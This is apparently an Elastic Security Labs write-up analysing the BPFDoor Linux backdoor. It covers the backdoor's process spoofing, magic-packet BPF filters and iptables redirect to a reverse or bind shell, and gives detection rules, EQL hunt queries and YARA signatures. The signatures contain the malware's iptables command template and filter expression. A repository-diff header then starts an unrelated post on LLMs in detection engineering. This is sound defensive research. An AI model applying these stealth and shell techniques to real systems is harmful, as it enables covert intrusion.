[BPFDoor](https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896) is a backdoor payload specifically crafted for Linux. Its purpose is for long-term persistence in order to gain re-entry into a previously or actively compromised target environment. It notably utilizes BPF along with a number of other techniques to achieve this goal, taking great care to be as efficient and stealthy as possible. PWC researchers discovered this very interesting piece of malware in 2021. PWC attributes this back door to a specific group from China, Red Menshen, and detailed a number of interesting components in a high-level threat research post released [last week](https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf).
|
||||
|
||||
PWC’s findings indicated that Red Menshen had focused their efforts on targeting specific Telecommunications, Government, Logistics, and Education groups across the Middle East and Asia. This activity has been across a Monday-to-Friday working period, between 01:00 UTC and 10:00 UTC, indicating that the operators of the malware were consistent in their attacks, and operation during a working week.
|
||||
|
||||
Perhaps most concerningly, the payload itself has been observed across the last 5 years in various phases of development and complexity, indicating that the threat actor responsible for operating the malware has been at it for some time, undetected in many environments.
|
||||
|
||||
> **BPFDoor Tools**
|
||||
>
|
||||
> The Elastic Security Team has created a few tools that will aid researchers in analyzing the BPFDoor malware.
|
||||
>
|
||||
> The BPFDoor scanner will allow you to scan for hosts infected with the BPFDoor malware and the BPFDoor configuration extractor will allow you to extrapolate the malware’s configuration or hardcoded values which can lead to additional observations you can use for further analysis, developing additional signatures or connecting to the backdoor utilizing our client.
|
||||
>
|
||||
> - [BPFDoor scanner](https://www.elastic.co/security-labs/bpfdoor-scanner)
|
||||
> - [BPFDoor configuration extractor](https://www.elastic.co/security-labs/bpfdoor-configuration-extractor)
|
||||
|
||||
## Attack Lifecycle
|
||||
|
||||
This inherently passive backdoor payload is built to be a form of persistence – a method to regain access if the first or second stage payloads are lost. It is built for and intended to be installed on high-uptime servers or appliances, IoT/SCADA, or cloud systems with access to the Internet. The backdoor usually sits in temporary storage so if a server were to be rebooted or shut down, the backdoor would be lost.
|
||||
|
||||
It should be assumed that if this malware is found on a system the initial-access (1st stage) or post-exploitation (2nd stage) payloads are still most likely present and possibly active elsewhere in the environment. This backdoor excels at stealth, taking every opportunity to blend in and remain undetected.
|
||||
|
||||
In the below steps, we will break BPFDoor’s actions down according to the vast majority of the samples available.
|
||||
|
||||
1. When executed the binary copies itself into /dev/shm/. A temporary filesystem /dev/shm stands for shared memory and is a temporary file storage facility serving as an efficient means of inter-process communication
|
||||
2. Renames its process to kdmtmpflush, a hardcoded process name
|
||||
3. Initializes itself with the -init flag and forks itself. Forking in Linux means creating a new process by duplicating the calling process
|
||||
4. Deletes itself by removing the original binary invoked. The forked process continues to run
|
||||
5. Alters the forked processes’ creation and modification time values, also known as [timestomping](https://attack.mitre.org/techniques/T1070/006/)
|
||||
6. Creates a new process environment for itself and removes the old one setting (spoofing) a new process name. It changes the way it appears on the system akin to wearing a mask. The process is still kdmtmpflush but if you were to run a ps you would see whatever value it set
|
||||
7. Creates a process ID (PID) file in /var/run. PID files are text files containing the process of the associated program meant for preventing multiple starts, marking residency, and used by the program to stop itself. This file resides in /var/run, another temporary file storage facility
|
||||
8. Creates a raw network socket. On Linux, a socket is an endpoint for network communication that allows you to specify in detail every section of a packet allowing a user to implement their own transport layer protocol above the internet (IP) level
|
||||
9. Sets BPF filters on the raw socket. [BPF](https://www.kernel.org/doc/html/v5.12/networking/filter.html) allows a user-space program to attach a filter onto any socket and allow or disallow certain types of data to come through the socket
|
||||
10. Observes incoming packets
|
||||
11. If a packet is observed that matches the BPF filters and contains the required data it is passed to the backdoor for processing
|
||||
12. It forks the current process again
|
||||
13. Changes the forked processes working directory to /
|
||||
14. Changes (spoofs) the name of the forked process to a hardcoded value
|
||||
15. Based on the password or existence of a password sent in the “magic packet” the backdoor provides a reverse shell, establishes a bind shell, or sends back a ping
|
||||
|
||||
> **Atypical BPFDoor sample**
|
||||
>
|
||||
> Of note there is one [sample](https://www.virustotal.com/gui/file/07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d/detection) we have come across that does not seem to exhibit steps 1 - 4. It doesn’t alter its initial name to a hardcoded value and simply executes from its placed location, otherwise, it models the same behavior.
|
||||
|
||||
Below you can see visual representations of the BPFDoor process tree, utilizing Elastic’s Analyzer View. The first image displays the tree prior to active use of the backdoor (i.e reverse shell, bind shell, or pingback) and the second image after a reverse shell has connected and performed post-exploitation activities.
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
## Defense Evasion Insights
|
||||
|
||||
BPFDoor is interesting given the anti-forensics, and obfuscation tactics used. Astute readers will observe slight differences in the PID tree visible when running a ps ajxf on an infected host when compared to executed data within the Analyzer View inside of Elastic. This is due to the process name spoofing mentioned in step 6 (above) of the attack lifecycle above. The image below is taken from a system running BPFDoor with an active reverse shell connection established:
|
||||
|
||||

|
||||
|
||||
The difference lies in the fact that kdmtmpflush and sh are run prior to spoofing, and are captured at runtime by Elastic Endpoint. This is an accurate representation of the processes active on the host, further confirming the importance of appropriate observation software for Linux hosts - you can’t always trust what you see on the local system:
|
||||
|
||||

|
||||
|
||||
BPFDoor also holds in its repertoire the ability to subvert the traditional Linux socket client - server architecture in order to hide its malicious traffic. The methods which it utilizes to achieve this are both unusual and intriguing.
|
||||
|
||||
The sockets interface is almost synonmous with TCP/IP communication. This simple interface has endured for over 40 years - predating both Linux and Windows implementations.
|
||||
|
||||

|
||||
|
||||
BPFDoor uses a raw socket (as opposed to ‘cooked’ ones that handle IP/TCP/UDP headers transparently) to observe every packet arriving at the machine, ethernet frame headers and all. While this might sound like a stealthy way to intercept traffic, it’s actually not – on any machine with a significant amount of network traffic the CPU usage will be consistently high.
|
||||
|
||||
That’s where BPF comes in - an extremely efficient, kernel-level packet filter is the perfect tool to allow the implant to ignore 99% of network traffic and only become activated when a special pattern is encountered. This implant looks for a so-called magic packet in every TCP, UDP and ICMP packet received on the system.
|
||||
|
||||
Once activated, a typical reverse shell - which this back door also supports - creates an outbound connection to a listener set up by the attacker. This has the advantage of bypassing firewalls watching inbound traffic only. This method is well-understood by defenders, however. The sneakiest way to get a shell connected would be to reuse an existing packet flow, redirected to a separate process.
|
||||
|
||||
In this attack, the initial TCP handshake is done between the attacker and a completely legitimate process – for example nginx or sshd. These handshake packets happen to be also delivered to the backdoor (like every packet on the system) but are filtered out by BPF. Once the connection is established, however, BPFDoor sends a magic packet to the legitimate service. The implant receives it and makes a note of the originating IP and port the attacker is using, and it opens a new listening socket on an inconspicuous port (42391 - 43391).
|
||||
|
||||
The implant then reconfigures the firewall to temporarily redirect all traffic from the attacker’s IP/port combination to the new listening socket. The attacker initiates a second TCP handshake on the same legitimate port as before, only now iptables forwards those packets to the listening socket owned by the implant. . This establishes the communication channel between attacker and implant that will be used for command and control. The implant then covers its tracks by removing the iptables firewall rules that redirected the traffic.
|
||||
|
||||
Despite the firewall rule being removed, traffic on the legitimate port will continue to be forwarded to the implant due to how Linux statefully tracks connections. No visible traffic will be addressed to the implant port (although it will be delivered there).
|
||||
|
||||

|
||||
|
||||
## BPF Filters
|
||||
|
||||
As stated in step 9 (above), [BPF](https://www.kernel.org/doc/html/v5.12/networking/filter.html) or Berkeley Packet Filters is a technology from the early ’90s that allows a user-space program to attach a network filter onto any socket and allow or disallow certain types of data to come through the socket. These filters are made up of bytecode that runs on an abstract virtual machine in the Linux kernel. The BPF virtual machine has functionality to inspect all parts of incoming packets and make an allow/drop decision based on what it sees. . You can see in the image example below what this looks like within the BPFDoor source code:
|
||||
|
||||

|
||||
|
||||
We took this BPF code, converted it, and wrote it up as pseudo code in an effort to aid our research and craft packets able to successfully get through these filters in order to activate the backdoor.
|
||||
|
||||

|
||||
|
||||
The above capabilities allow BPFDoor to attach a filter onto any socket and allow or disallow certain types of data to come through the socket - used carefully by the adversary to invoke a series of different functions within the payload.
|
||||
|
||||
## Historical Analysis
|
||||
|
||||
We wanted to see over time, between BPFDoor payloads, what, if anything, the threat actors modified. A number of samples were detonated and analyzed ranging from the uploaded source code to a [sample](https://www.virustotal.com/gui/file/599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683/detection) uploaded last month. We found that the behavior over time did not change a great deal. It maintained the same relative attack lifecycle with a few variations with the hardcoded values such as passwords, process names, and files - this is not uncommon when compared to other malware samples that look to evade detection or leverage payloads across a variety of victims.
|
||||
|
||||
We posture that the threat group would change passwords and update process or file names in an effort to improve operational security and remain hidden. It also makes sense that the general functionality of the backdoor would not change in any great way. As the saying goes “If it’s not broken, don’t fix it”. Our malware analysis and reverse engineering team compared the source code (uploaded to [VirusTotal](https://www.virustotal.com/gui/file/8b9db0bc9152628bdacc32dab01590211bee9f27d58e0f66f6a1e26aea7552a6/detection) and found on [Pastebin](https://pastebin.com/raw/kmmJuuQP)) to a recently uploaded sample highlighting some of the notable changes within the main function of the malware in the images below.
|
||||
|
||||

|
||||
|
||||
As we mentioned earlier, one recent [sample](https://www.virustotal.com/gui/file/07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d/detection) we have come across that does not seem to exhibit some of the tactics of prior payloads has been observed - It doesn’t alter its initial name to a hardcoded value and simply executes from its placed location, otherwise, it models relatively the same behavior.
|
||||
|
||||
## Linux Malware Sophistication
|
||||
|
||||
A trend we have had the privilege of observing at Elastic, is the threat landscape of Linux targeted attacks - these being focused often on cloud workloads, or systems that typically have less observational technology configured in many of the environments we see. The trend of complex, well-designed payloads is something that is often simply overlooked, and specifically in the case of BPFDoor, remained hidden for years.
|
||||
|
||||
It is important to consider these workloads a critical component of your security posture: A lack of visibility within cloud workloads will eventually lead to large gaps in security controls - adversarial groups are further growing to understand these trends, and act accordingly. Best practices state that endpoint defenses should be consistent across the fleet of systems under management, and conform to a least privilege architecture.
|
||||
|
||||
## Detection of BPFDoor
|
||||
|
||||
After researching this malware it became apparent as to why the backdoor remained in use and hidden for so long. If you aren’t intimately familiar with Linux process abnormalities or weren’t looking for it you would generally not detect it. Even though it takes advantage of Linux capabilities in a stealthy manner to evade detection, there are still opportunities for both behavioral and signature-based detections.
|
||||
|
||||
The first area of opportunity we witnessed while testing was the behavior we observed during the initial execution of the malware, specifically its working directory, in a shared memory location /dev/shm. This is a native temporary filesystem location in Linux that uses RAM for storage, and a binary executing from it let alone generating network connections is fairly uncommon in practice.
|
||||
|
||||
During execution, BPFDoor removes existing files from /dev/shm and copies itself there prior to initialization. A detection for this would be any execution of a binary from this directory as root (you have to be root to write to and read from this directory).
|
||||
|
||||
This was verified by detonating the binary in a VM while our Elastic Agent was installed and observing the sequence of events. You can see an image of this detection on the Kibana Security Alerts page below. This rule is publicly available as an Elastic SIEM detection rule - [Binary Executed from Shared Memory Directory](https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_process_started_in_shared_memory_directory.toml):
|
||||
|
||||

|
||||
|
||||
The second opportunity we noticed, for detection, was a specific PID file being created in /var/run. We noticed the dropped PID file was completely empty while doing a quick query via the [Osquery integration](https://docs.elastic.co/en/integrations/osquery_manager) to the /var/run directory. While this is not inherently malicious, it is unusual for the file size of a PID to be 0 or above 10 bytes and thus we created an additional rule centered around detecting this unusual behavior.
|
||||
|
||||
Our [Abnormal Process ID or Lock File Created](https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_abnormal_process_id_file_created.toml) rule identifies the creation of a PID file in the main directory of /var/run with no subdirectory, ignoring common PID files to be expected:
|
||||
|
||||

|
||||
|
||||
The third area we wanted to look at was the network connections tied to two of the three capabilities (reverse shell and bind shell) the backdoor possesses. We wanted to see if there were any suspicious network connections tied to process or user abnormalities we could sequence together based off of the way BPFDoor handles establishing a reverse or bind shell.
|
||||
|
||||
The reverse shell was the first capability focused on. Taking a deep look at the process tree in and around the reverse shell establishment allowed us to key in on what would be considered a strange or even abnormal sequence of events leading to and involving an outbound network connection.
|
||||
|
||||
We developed a hunt rule sequence that identifies an outbound network connection attempt followed by a session id change as the root user by the same process entity. The reason we developed these network focused hunt rules is due to possible performance issues caused if running these continually.
|
||||
|
||||
The bind shell was the last capability we honed in on. Identifying an abnormal sequence of events surrounding the bind shell connection was difficult due to the way it forks then accepts the connection and kills the accepting process post established connection. Therefore we had to focus on the sequence of events within the process entity id directly involving the network connection and subsequent killing of the accepting process.
|
||||
|
||||
After developing the 2 detection rules along with the 2 hunt rules listed below and in addition to the 6 YARA signatures deployed we were able to detect BPFDoor in a myriad of different ways and within different stages of its life cycle. As stated earlier though, if you detect this malware in your environment it should be the least of your concerns given the threat actor will most likely have already successfully compromised your network via other means.
|
||||
|
||||

|
||||
|
||||
### Existing Detection Rules
|
||||
|
||||
The following Elastic Detection Rules will identify BPFDoor activity:
|
||||
|
||||
- [Abnormal Process ID or Lock File Created](https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_abnormal_process_id_file_created.toml)
|
||||
- [Binary Executed from Shared Memory Directory](https://github.com/elastic/detection-rules/blob/main/rules/linux/execution_process_started_in_shared_memory_directory.toml)
|
||||
|
||||
### Hunting Queries
|
||||
|
||||
This EQL rule can be used to successfully identify BPFDoor reverse shell connections having been established within your environment:
|
||||
|
||||
**EQL BPFDoor reverse shell hunt query**
|
||||
|
||||
```
|
||||
sequence by process.entity_id with maxspan=1m
|
||||
[network where event.type == "start" and event.action == "connection_attempted" and user.id == "0" and not process.executable : ("/bin/ssh", "/sbin/ssh", "/usr/lib/systemd/systemd")]
|
||||
[process where event.action == "session_id_change" and user.id == "0"]
|
||||
```
|
||||
|
||||

|
||||
|
||||
The hunt rule we created here identifies a sequence of events beginning with a session id change, followed by a network connection accepted, in correlation with ptmx file creation and a deletion of the process responsible for accepting the network connection. This EQL rule can be used to successfully identify BPFDoor bind shell connections within your environment:
|
||||
|
||||
**EQL BPFDoor bind shell hunt query**
|
||||
|
||||
```
|
||||
sequence by process.entity_id with maxspan=1m
|
||||
[process where event.type == "change" and event.action == "session_id_change" and user.id == 0 and not process.executable : ("/bin/ssh", "/sbin/ssh", "/usr/lib/systemd/systemd")]
|
||||
[network where event.type == "start" and event.action == "connection_accepted" and user.id == 0]
|
||||
[file where event.action == "creation" and user.id == 0 and file.path == "/dev/ptmx"]
|
||||
[process where event.action == "end" and user.id == 0 and not process.executable : ("/bin/ssh", "/sbin/ssh", "/usr/lib/systemd/systemd")]
|
||||
```
|
||||
|
||||

|
||||
|
||||
### YARA Rules
|
||||
|
||||
In addition to behavioral detection rules in the Elastic Endpoint, we are releasing a set of BPFDoor Yara signatures for the community.
|
||||
|
||||
**BPFDoor YARA rule**
|
||||
|
||||
```
|
||||
rule Linux_Trojan_BPFDoor_1 {
|
||||
|
||||
meta:
|
||||
Author = "Elastic Security"
|
||||
creation_date = "2022-05-10"
|
||||
last_modified = "2022-05-10"
|
||||
os = "Linux"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "BPFDoor"
|
||||
threat_name = "Linux.Trojan.BPFDoor"
|
||||
description = "Detects BPFDoor malware."
|
||||
reference_sample = "144526d30ae747982079d5d340d1ff116a7963aba2e3ed589e7ebc297ba0c1b3"
|
||||
strings:
|
||||
$a1 = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event" ascii fullword
|
||||
$a2 = "/sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d" ascii fullword
|
||||
$a3 = "avahi-daemon: chroot helper" ascii fullword
|
||||
$a4 = "/sbin/mingetty /dev/tty6" ascii fullword
|
||||
$a5 = "ttcompat" ascii fullword
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
|
||||
rule Linux_Trojan_BPFDoor_2 {
|
||||
meta:
|
||||
Author = "Elastic Security"
|
||||
creation_date = "2022-05-10"
|
||||
last_modified = "2022-05-10"
|
||||
os = "Linux"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "BPFDoor"
|
||||
threat_name = "Linux.Trojan.BPFDoor"
|
||||
description = "Detects BPFDoor malware."
|
||||
reference_sample = "3a1b174f0c19c28f71e1babde01982c56d38d3672ea14d47c35ae3062e49b155"
|
||||
strings:
|
||||
$a1 = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event" ascii fullword
|
||||
$a2 = "/sbin/mingetty /dev/tty7" ascii fullword
|
||||
$a3 = "pickup -l -t fifo -u" ascii fullword
|
||||
$a4 = "kdmtmpflush" ascii fullword
|
||||
$a5 = "avahi-daemon: chroot helper" ascii fullword
|
||||
$a6 = "/sbin/auditd -n" ascii fullword
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
|
||||
rule Linux_Trojan_BPFDoor_3 {
|
||||
meta:
|
||||
Author = "Elastic Security"
|
||||
creation_date = "2022-05-10"
|
||||
last_modified = "2022-05-10"
|
||||
os = "Linux"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "BPFDoor"
|
||||
threat_name = "Linux.Trojan.BPFDoor"
|
||||
description = "Detects BPFDoor malware."
|
||||
reference_sample = "591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78"
|
||||
strings:
|
||||
$a1 = "[-] Spawn shell failed." ascii fullword
|
||||
$a2 = "[+] Packet Successfuly Sending %d Size." ascii fullword
|
||||
$a3 = "[+] Monitor packet send." ascii fullword
|
||||
$a4 = "[+] Using port %d"
|
||||
$a5 = "decrypt_ctx" ascii fullword
|
||||
$a6 = "getshell" ascii fullword
|
||||
$a7 = "getpassw" ascii fullword
|
||||
$a8 = "export %s=%s" ascii fullword
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
|
||||
rule Linux_Trojan_BPFDoor_4 {
|
||||
meta:
|
||||
Author = "Elastic Security"
|
||||
creation_date = "2022-05-10"
|
||||
last_modified = "2022-05-10"
|
||||
os = "Linux"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "BPFDoor"
|
||||
threat_name = "Linux.Trojan.BPFDoor"
|
||||
description = "Detects BPFDoor malware."
|
||||
reference_sample = "591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78"
|
||||
strings:
|
||||
$a1 = { 45 D8 0F B6 10 0F B6 45 FF 48 03 45 F0 0F B6 00 8D 04 02 00 }
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
|
||||
rule Linux_Trojan_BPFDoor_5 {
|
||||
meta:
|
||||
Author = "Elastic Security"
|
||||
creation_date = "2022-05-10"
|
||||
last_modified = "2022-05-10"
|
||||
os = "Linux"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "BPFDoor"
|
||||
threat_name = "Linux.Trojan.BPFDoor"
|
||||
description = "Detects BPFDoor malware."
|
||||
reference_sample = "76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925"
|
||||
strings:
|
||||
$a1 = "getshell" ascii fullword
|
||||
$a2 = "/sbin/agetty --noclear tty1 linux" ascii fullword
|
||||
$a3 = "packet_loop" ascii fullword
|
||||
$a4 = "godpid" ascii fullword
|
||||
$a5 = "ttcompat" ascii fullword
|
||||
$a6 = "decrypt_ctx" ascii fullword
|
||||
$a7 = "rc4_init" ascii fullword
|
||||
$b1 = { D0 48 89 45 F8 48 8B 45 F8 0F B6 40 0C C0 E8 04 0F B6 C0 C1 }
|
||||
condition:
|
||||
all of ($a*) or 1 of ($b*)
|
||||
}
|
||||
|
||||
rule Linux_Trojan_BPFDoor_6 {
|
||||
meta:
|
||||
Author = "Elastic Security"
|
||||
creation_date = "2022-05-10"
|
||||
last_modified = "2022-05-10"
|
||||
os = "Linux"
|
||||
arch = "x86"
|
||||
category_type = "Trojan"
|
||||
family = "BPFDoor"
|
||||
threat_name = "Linux.Trojan.BPFDoor"
|
||||
description = "Detects BPFDoor malware."
|
||||
reference_sample = "dc8346bf443b7b453f062740d8ae8d8d7ce879672810f4296158f90359dcae3a"
|
||||
strings:
|
||||
$a1 = "getpassw" ascii fullword
|
||||
$a2 = "(udp[8:2]=0x7255) or (icmp[8:2]=0x7255) or (tcp[((tcp[12]&0xf0)>>2):2]=0x5293)" ascii fullword
|
||||
$a3 = "/var/run/haldrund.pid" ascii fullword
|
||||
$a4 = "Couldn't install filter %s: %s" ascii fullword
|
||||
$a5 = "godpid" ascii fullword
|
||||
condition:
|
||||
all of them
|
||||
}
|
||||
```
|
||||
|
||||
## Interacting with BPFDoor
|
||||
|
||||
The Elastic Security Team has released several tools that can aid in further research regarding BPFDoor to include a network scanner used to identify infected hosts, a BPFDoor malware configuration extractor, and a BPFDoor client binary that can be used to actively interact with a sample.
|
||||
|
||||
### BPFDoor Scanner
|
||||
|
||||
The Elastic Security Team [has released](https://www.elastic.co/security-labs/bpfdoor-scanner) a Python script that can identify if you have BPFDoor infected hosts.
|
||||
|
||||
The scanner sends a packet to a defined IP address using the default target port (68/UDP)and default interface. It listens to return traffic on port 53/UDP.
|
||||
|
||||

|
||||
|
||||
### BPFDoor Configuration Extractor
|
||||
|
||||
This tool will allow you to extract configurations from any BPFDoor malware you may have collected. This will allow you to develop additional signatures and further analysis of the malware as well as your environment.
|
||||
|
||||
The BPFDoor configuration extractor can be downloaded [here](https://www.elastic.co/security-labs/bpfdoor-configuration-extractor).
|
||||
|
||||

|
||||
|
||||
### BPFDoor Client POC
|
||||
|
||||
Quickly after beginning our research into this malware we realized we would also need to actively interact with BPFDoor in order to observe the full extent of the capabilities that it possesses and monitor what these capabilities would look like from a host and SIEM level.
|
||||
|
||||
In order to do this, we had to break down the BPF filters in the BPFDoor source code so we could craft packets for the different protocols. To do this, we used [Scapy](https://scapy.net/), a packet manipulation program, to ensure we could pass the filters for the purpose of activating the backdoor. Once we ensured we could pass the filters, Rhys Rustad-Elliott, an engineer at Elastic built a BPFDoor client that accepts a password, IP address, and port allowing you to connect to a BPFDoor sample and interact if you possess the sample’s hardcoded passwords.
|
||||
|
||||
Depending on the password or lack of password provided, BPFDoor will behave exactly the same way it would in the wild. You can invoke a reverse shell, establish a bind shell, or connect to it with no supplied password to receive a ping-back confirming its installation.
|
||||
|
||||

|
||||
|
||||
Researchers looking to use BPFDoor can [reach out to Elastic Security](mailto:threat-notification@elastic.co) for access to the BPFDoor client POC. Please note that these tools will be shared at our discretion with those in the trusted security community looking to improve the detection of this vulnerability.
|
||||
|
||||
## Impact
|
||||
|
||||
The following MITRE ATT&CK Tactic, Techniques, and Sub-techniques have been observed with the BPFDoor malware.
|
||||
|
||||
### Tactics
|
||||
|
||||
Tactics represent the “why” of an ATT&CK technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.
|
||||
|
||||
- [Execution](https://attack.mitre.org/tactics/TA0002/)
|
||||
|
||||
### Techniques (sub-techniques)
|
||||
|
||||
Techniques (and sub-techniques) represent ‘how’ an adversary achieves a tactical goal by performing an action.
|
||||
|
||||
- [Native API](https://attack.mitre.org/techniques/T1106/)
|
||||
- [External Remote Services](https://attack.mitre.org/techniques/T1133/)
|
||||
- [Hide Artifacts](https://attack.mitre.org/techniques/T1564/)
|
||||
- [Indicator Removal on Host](https://attack.mitre.org/techniques/T1070/)
|
||||
- [Non-Application Layer Protocol](https://attack.mitre.org/techniques/T1095/)
|
||||
- [Command and Scripting Interpreter: Unix Shell](https://attack.mitre.org/techniques/T1059/004)
|
||||
- [Abuse Elevation Control Mechanism: Setuid and Setgid](https://attack.mitre.org/techniques/T1548/001/)
|
||||
|
||||
## Source Pseudocode
|
||||
|
||||
To clearly articulate the details of this malware, we’ve created [two diagrams](https://www.elastic.co/pdf/bpfdoor_pseudocode.pdf) that outline the specific pseudocode for BPFDoor based on the source code uploaded to VT and found on Pastebin. While this contains a lot of detail, it is simple to understand if researchers choose to further this research.
|
||||
|
||||
## Summary
|
||||
|
||||
While threat groups continue to increase in maturity, we expect this kind of mature, well designed and hidden threat will continue to be found within Linux environments. These kinds of findings reiterate the importance of comprehensive security controls across the entirety of a fleet, rather than simply focusing on user endpoints.
|
||||
|
||||
BPFDoor demonstrates a perfect example of how important monitoring workloads within Linux environments can be. Payloads such as this are near-on impossible to observe and detect without sufficient controls, and should be considered a moving trend within the general adversarial landscape.
|
||||
|
||||
## Observables
|
||||
|
||||
| Observable | Type | Reference | Note |
|
||||
| ---------------------------------------------------------------- | ------------ | -------------------- | -------------------------------- |
|
||||
| /dev/shm/kdmtmpflush | process name | BPFDoor process name | Observed process name of BPFDoor |
|
||||
| /var/run/haldrund.pid | file name | BPFDoor file name | Observed BPFDoor PID file |
|
||||
| /var/run/kdevrund.pid | file name | BPFDoor file name | Observed BPFDoor PID file |
|
||||
| /var/run/xinetd.lock | file name | BPFDoor file name | Observed BPFDoor lock file |
|
||||
| 74ef6cc38f5a1a80148752b63c117e6846984debd2af806c65887195a8eccc56 | SHA-256 | BPFDoor malware | |
|
||||
| 07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d | SHA-256 | BPFDoor malware | |
|
||||
| 76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925 | SHA-256 | BPFDoor malware | |
|
||||
| 93f4262fce8c6b4f8e239c35a0679fbbbb722141b95a5f2af53a2bcafe4edd1c | SHA-256 | BPFDoor malware | |
|
||||
| 96e906128095dead57fdc9ce8688bb889166b67c9a1b8fdb93d7cff7f3836bb9 | SHA-256 | BPFDoor malware | |
|
||||
| 599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683 | SHA-256 | BPFDoor malware | |
|
||||
| 2e0aa3da45a0360d051359e1a038beff8551b957698f21756cfc6ed5539e4bdb | SHA-256 | BPFDoor malware | |
|
||||
| f47de978da1dbfc5e0f195745e3368d3ceef034e964817c66ba01396a1953d72 | SHA-256 | BPFDoor malware | |
|
||||
| fd1b20ee5bd429046d3c04e9c675c41e9095bea70e0329bd32d7edd17ebaf68a | SHA-256 | BPFDoor malware | |
|
||||
| 5faab159397964e630c4156f8852bcc6ee46df1cdd8be2a8d3f3d8e5980f3bb3 | SHA-256 | BPFDoor malware | |
|
||||
| f8a5e735d6e79eb587954a371515a82a15883cf2eda9d7ddb8938b86e714ea27 | SHA-256 | BPFDoor malware | |
|
||||
| 5b2a079690efb5f4e0944353dd883303ffd6bab4aad1f0c88b49a76ddcb28ee9 | SHA-256 | BPFDoor malware | |
|
||||
| 97a546c7d08ad34dfab74c9c8a96986c54768c592a8dae521ddcf612a84fb8cc | SHA-256 | BPFDoor malware | |
|
||||
| c80bd1c4a796b4d3944a097e96f384c85687daeedcdcf05cc885c8c9b279b09c | SHA-256 | BPFDoor malware | |
|
||||
| 4c5cf8f977fc7c368a8e095700a44be36c8332462c0b1e41bff03238b2bf2a2d | SHA-256 | BPFDoor malware | |
|
||||
|
||||
## References
|
||||
|
||||
- https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896
|
||||
- https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
|
||||
- https://www.pangulab.cn/en/post/the_bvp47_a_top-tier_backdoor_of_us_nsa_equation_group
|
||||
|
||||
## Artifacts
|
||||
|
||||
Artifacts are also available for [download](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt294e7cd5c4b8a050/628e88d93b9b8554904a703c/bpfdoor-indicators.zip) in both ECS and STIX format in a combined zip bundle.
|
|
@ -0,0 +1,83 @@
|
|||
---
|
||||
title: "Accelerating Elastic detection tradecraft with LLMs"
|
||||
slug: "accelerating-elastic-detection-tradecraft-with-llms"
|
||||
date: "2023-09-29"
|
||||
description: "Learn more about how Elastic Security Labs has been focused on accelerating our detection engineering workflows by tapping into more generative AI capabilities."
|
||||
author:
|
||||
- slug: mika-ayenson
|
||||
- slug: jess-daubner
|
||||
image: "photo-edited-09@2x.jpg"
|
||||
category:
|
||||
- slug: detection-science
|
||||
- slug: machine-learning
|
||||
- slug: generative-ai
|
||||
---
|
||||
|
||||
In line with our [Openness Initiative](https://www.elastic.co/blog/continued-leadership-in-open-and-transparent-security), we remain committed to transparency and want to share how our internal AI R&D efforts have increased the productivity of our threat detection team. For the past few months, Elastic Security Labs has been focused on accelerating our detection engineering workflows by tapping into more generative AI capabilities.
|
||||
|
||||
## The ONWeek Exploration Odyssey
|
||||
|
||||
At Elastic, outside of our long-running [Space, Time](https://www.elastic.co/about/our-source-code) tradition, we dedicate a week every 6 months to work either independently or in a team on something we call ONWeek. This is a week where we all step away from feature work, tech debt, and other similar tasks; and use the week to focus on innovative ideas, active learning opportunities, applied research, and proof of concept work. During the previous ONWeek in May, we explored ideas to leverage large language models (LLMs) with Elastic’s existing features to enhance security alert triaging and productivity for tier 1 analysts and on, internal productivity workflows, and understanding the foundational building blocks for our experimentation and tuning. Figure 1 shows several different opportunities for research we have, which involve ingesting events, passing data through tailored prompts, and generating different classes of content designed for different Elastic workflows.
|
||||
|
||||

|
||||
Figure 1: GenAI Security Use Cases
|
||||
|
||||
Fundamentally we explored several traditional ML approaches, but ultimately focused on starting simple and gradually increasing complexity, while keeping in mind these tools and concepts:
|
||||
- **Start Simple** - A mantra that guided our approach.
|
||||
- **Azure OpenAI** - Access to the GPT-4 LLM
|
||||
- **Prompt Engineering** - Developing tailored instructions for the LLM.
|
||||
- **LangChain** - Python library to help craft LLM applications.
|
||||
|
||||
One of our goals is to streamline Elastic’s detection engineer workflows, allowing for greater focus on better detections while showcasing the depth and nuances of our query languages. On the way there, we’re spending time experimenting to validate our prompts and prepare them for operational use. We want to make sure that as we iterate over our prompts, we don’t incidentally introduce regressions. As AI advancements emerge, we intend for our T&E to ensure that any adjustments, be it fine-tuning, model replacements, or prompt modifications, are deliberate. Ultimately, we aspire for our analysts to seamlessly utilize the latest AIML features, applying the most suitable prompts or ML techniques in the right context.
|
||||
|
||||
